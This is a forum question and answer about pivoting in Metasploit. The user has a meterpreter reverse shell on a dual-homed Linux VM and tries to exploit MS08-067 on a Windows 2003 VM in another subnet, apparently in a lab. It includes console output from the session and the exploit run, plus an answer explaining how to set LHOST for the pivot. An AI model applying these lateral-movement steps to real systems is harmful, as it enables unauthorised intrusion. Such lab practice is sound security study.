Pivoting with Metasploit

Question

I am trying to exploit a Windows VM on a different subnet behind a dual home Linux VM where I already have a shell. To keep it simple, I have a meterpreter reverse_tcp shell on the Linux VM (192.168.47.144) and the Windows VM (192.168.128.133) is 2003 and vulnerable to MS08-067 (I tested this directly). Lastly, the Linux VM can definitely hit the SMB service on the Windows VM.

ubuntu:~$ ip -o addr show | grep -o '192.168.47.144' && nc -nvv 192.168.128.133 445
192.168.47.144
Connection to 192.168.128.133 445 port [tcp/*] succeeded!

The meterpreter reverse_tcp shell on the Linux VM connects back on port 5555 so there is not a conflict with port number.

[*] Sending stage (826872 bytes) to 192.168.47.144
[*] Meterpreter session 2 opened (192.168.47.136:5555 -> 192.168.47.144:47395) at 2017-10-08 11:21:30 -0500

IPv4 Active Routing Table
=========================

   Subnet             Netmask            Gateway

[*] There are currently no IPv6 routes defined.

RHOST => 192.168.128.133
msf exploit(ms08_067_netapi) > exploit 

[*] Started reverse TCP handler on 192.168.47.136:4444

[*] 192.168.128.133:445 - We could not detect the language pack, defaulting to English

[*] 192.168.128.133:445 - Attempting to trigger the vulnerability...
[*] Exploit completed, but no session was created.

Additionally I gave this a run with LHOST 0.0.0.0 as well as LHOST 192.168.128.132 (the .128 subnet address of the Linux VM), but no shell there either. What am I missing?

I have also tried doing this manually through SSH port forward as seen in https://highon.coffee/blog/ssh-meterpreter-pivoting-techniques/ and ended up with the same result. The exploit hits the Windows VM but no session is opened.

These are the main posts I have been referencing.

Answer 1

When using tunneling via meterpreter routes in Metasploit your lhost will become your first target.

So in this case your LHOST should be set to: 192.168.47.144

Try that.
